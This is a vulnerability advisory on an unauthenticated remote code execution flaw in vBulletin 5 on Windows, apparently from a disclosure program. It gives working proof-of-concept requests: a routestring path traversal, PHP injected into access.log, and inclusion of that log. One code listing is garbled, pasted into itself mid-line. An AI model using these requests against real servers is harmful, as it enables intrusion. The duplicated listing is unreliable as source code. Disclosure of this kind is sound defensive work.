# SSD Advisory – vBulletin routestring Unauthenticated Remote Code Execution
Source: https://blogs.securiteam.com/index.php/archives/3569

## Vulnerability Summary
The following advisory describes a unauthenticated file inclusion vulnerability that leads to remote code execution found in vBulletin version 5.

vBulletin, also known as vB, is a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many of the largest social sites on the web, with over 100,000 sites built on it, including Fortune 500 and Alexa Top 1M companies websites and forums. According to the latest W3Techs1 statistics, vBulletin version 4 holds more than 55% of the vBulletin market share, while version 3 and 5 divide the remaining percentage

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
We tried to contact vBulletin since November 21 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.

## Vulnerability details
vBulletin contains a vulnerability that can allow a remote attacker to include any file from the vBulletin server and execute arbitrary PHP code.

An unauthenticated user is able to send a GET request to /index.php which can then trigger the file inclusion vulnerability with parameter routestring=.

The request allows an attacker to create a crafted request to Vbulletin server installed on Windows OS and include any file on the web server.

**Listing of /index.php:**

```
/* 48 */ $app = vB5_Frontend_Application::init('config.php');
/* 49 */ //todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini
/* 50 */ //file to catch these situations.
/* 51 */ // We report all errors here because we have to make Application Notice free
/* 52 */ error_reporting(E_ALL | E_STRICT);
/* 53 */  
/* 54 */ $config = vB5_Config::instance();
/* 55 */ if (!$config->report_all_php_errors) {
/* 56 */  // Note that E_STRICT became part of E_ALL in PHP 5.4
/* 57 */  error_reporting(E_ALL & ~(E_NOTICE | E_STRICT));
/* 58 */ }
/* 59 */  
/* 60 */ $routing = $app->getRouter();
/* 61 */ $method = $routing->getAction();
/* 62 */ $template = $routing->getTemplate();
/* 63 */ $class = $routing->getControllerClass();
/* 64 */  
/* 65 */ if (!class_exists($class))
/* 66 */ {
/* 67 */  // @todo - this needs a proper error message
/* 68 */  die("Couldn't find controller file for $class");
/* 69 */ }
/* 70 */  
/* 71 */ vB5_Frontend_ExplainQueries::initialize();
/* 72 */ $c = new $class($template);
/* 73 */  
/* 74 */ call_user_func_array(array(&$c, $method), $routing->getArguments());
/* 75 */  
/* 76 */ vB5_Frontend_ExplainQueries::finish();
```

**Let’s take a closer look on vB5_Frontend_Application::init() – Listing of /includes/vb5/frontend/application.php:**

```
/* 15 */   public static function init($configFile)
/* 16 */    {
/* 17 */       parent::init($configFile);
/* 18 */    
/* 19 */       self::$instance = new vB5_Frontend_Application();
/* 20 */       self::$instance->router = new vB5_Frontend_Routing();
/* 21 */       self::$instance->router->setRoutes();
/* ... */
```

We can see that setRoutes() is called:

**Listing of /includes/vb5/frontend/routing.php:**

```
/* 47 */      public function setRoutes()            
/* 48 */      {            
/* 49 */         $this->processQueryString();        
/* 50 */                  
/* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it        
/* 52 */         //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';        
/* 53 */                  
/* 54 */         if (isset($_GET['routestring']))        
/* 55 */         {        
/* 56 */            $path = $_GET['routestring'];      
/* ... */                  
/* 73 */         }        
/* 74 */                  
/* 75 */         if (strlen($path) AND $path{0} == '/')        
/* 76 */         {        
/* 77 */            $path = substr($path, 1);      
/* 78 */         }        
/* 79 */                  
/* 80 */         //If there is an invalid image, js, or css request we wind up here. We can't process any of them        
/* 81 */         if (strlen($path) > 2 )        
/* 82 */         {        
/* 83 */            $ext = strtolower(substr($path, -4)) ;      
/* 84 */            if (($ext == /* 47 */      public function setRoutes()            
/* 48 */      {            
/* 49 */         $this->processQueryString();        
/* 50 */                  
/* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it        
/* 52 */         //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';        
/* 53 */                  
/* 54 */         if (isset($_GET['routestring']))        
/* 55 */         {        
/* 56 */            $path = $_GET['routestring'];      
/* ... */                  
/* 73 */         }        
/* 74 */                  
/* 75 */         if (strlen($path) AND $path{0} == '/')        
/* 76 */         {        
/* 77 */            $path = substr($path, 1);      
/* 78 */         }        
/* 79 */                  
/* 80 */         //If there is an invalid image, js, or css request we wind up here. We can't process any of them        
/* 81 */         if (strlen($path) > 2 )        
/* 82 */         {        
/* 83 */            $ext = strtolower(substr($path, -4)) ;      
/* 84 */            if (($ext == '.gif') OR ($ext == '.png') OR ($ext == '.jpg') OR ($ext == '.css')      
/* 85 */               OR (strtolower(substr($path, -3)) == '.js') )  
/* 86 */            {      
/* 87 */               header("HTTP/1.0 404 Not Found");  
/* 88 */               die('');  
/* 89 */            }      
/* 90 */         }        
/* 91 */                  
/* 92 */         try        
/* 93 */         {        
/* 94 */            $message = ''; // Start with no error.      
/* 95 */            $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));      
/* 96 */         }        
/* 97 */         catch (Exception $e)        
/* 98 */         {        
/* ... */                  
/* 106 */         }        
/* ... */                  
/* 127 */         if (!empty($route))        
/* 128 */         {        
/* ... */                  
/* 188 */         }        
/* 189 */         else        
/* 190 */         {        
/* 191 */            // if no route was matched, try to parse route as /controller/method      
/* 192 */            $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));      
/* ... */  
/* 229 */         }        
/* 230 */                  
/* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle        
/* 232 */         //cases where this is not a valid file.  Only handle files in the "root directory".  We'll        
/* 233 */         //handle deeper paths via more standard routes.        
/* 234 */         if (strpos($path, '/') === false)        
/* 235 */         {        
/* 236 */            $this->controller = 'relay';      
/* 237 */            $this->action = 'legacy';      
/* 238 */            $this->template = '';      
/* 239 */            $this->arguments = array($path);      
/* 240 */            $this->queryParameters = array();      
/* 241 */            return;      
/* 242 */         }        
/* 243 */                  
/* 244 */         vB5_ApplicationAbstract::checkState();        
/* 245 */                  
/* 246 */         throw new vB5_Exception_404("invalid_page_url");        
/* 247 */      }   ) )  
/* 86 */            {      
/* 87 */               header("HTTP/1.0 404 Not Found");  
/* 88 */               die('');  
/* 89 */            }      
/* 90 */         }        
/* 92 */         try        
/* 93 */         {        
/* 94 */            $message = ''; // Start with no error.      
/* 95 */            $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));      
/* 96 */         }        
/* 97 */         catch (Exception $e)        
/* 98 */         {        
/* ... */                  
/* 106 */         }        
/* ... */                  
/* 127 */         if (!empty($route))        
/* 128 */         {        
/* ... */                  
/* 188 */         }        
/* 189 */         else        
/* 190 */         {        
/* 191 */            // if no route was matched, try to parse route as /controller/method      
/* 192 */            $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));      
/* ... */  
/* 229 */         }        
/* 230 */                  
/* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle        
/* 232 */         //cases where this is not a valid file.  Only handle files in the "root directory".  We'll        
/* 233 */         //handle deeper paths via more standard routes.        
/* 234 */         if (strpos($path, '/') === false)        
/* 235 */         {        
/* 236 */            $this->controller = 'relay';      
/* 237 */            $this->action = 'legacy';      
/* 238 */            $this->template = '';      
/* 239 */            $this->arguments = array($path);      
/* 240 */            $this->queryParameters = array();      
/* 241 */            return;      
/* 242 */         }        
/* … */    
```

So if our routestring does not end with ‘.gif’, ‘.png’, ‘.jpg’, ‘.css’ or ‘.js’ and does not contain ‘/’ char vBulletin will call legacy() method from vB5_Frontend_Controller_Relay – /includes/vb5/frontend/controller/relay.php:

```
/* 63 */   public function legacy($file)
/* 64 */   {
/* 65 */      $api = Api_InterfaceAbstract::instance();
/* 66 */      $api->relay($file);
/* 67 */   }
```

If we will check relay() from Api_Interface_Collapsed class – /include/api/interface/collapsed.php:

```
/* 117 */   public function relay($file)
/* 118 */   {
/* 119 */      $filePath = vB5_Config::instance()->core_path . '/' . $file;
/* 120 */      
/* 121 */      if ($file AND file_exists($filePath))
/* 122 */      {
/* 123 */         //hack because the admincp/modcp files won't return so the remaining processing in
/* 124 */         //index.php won't take place.  If we better integrate the admincp into the
/* 125 */         //frontend, we can (and should) remove this.
/* 126 */         vB_Shutdown::instance()->add(array('vB5_Frontend_ExplainQueries', 'finish'));
/* 127 */         require_once($filePath);
/* 128 */      }
/* ... */
```

As we could see an attacker is not able to use ‘/’ in the $file so he cannot change current directory on Linux. But for Windows he can use ‘\’ as path delimiter and is able to specify any desired file (he can use ‘\..\’ trick as well) and it will be included by php.

![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-125x300.jpg)

If we want to include file with extension like ‘.gif’, ‘.png’, ‘.jpg’, ‘.css’ or ‘.js’ we will need to bypass the mentioned check in setRoutes() method. This can be easily done by adding dot (‘.’) or space (‘%20’) to the filename.

## Proof of Concept
We can check if the server is vulnerable by sending the following GET request:

```
/index.php?routestring=.\\
```

If the response is:

![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-1-300x60.png)

The server is vulnerable.

If we want to inject a php code to any file on the server we can use the access.log for example:

```
/?LogINJ_START=<?php phpinfo();?>LogINJ_END
```

After that we can include access.log with our PHP code:

```
/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log
```

![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-2-300x89.jpg)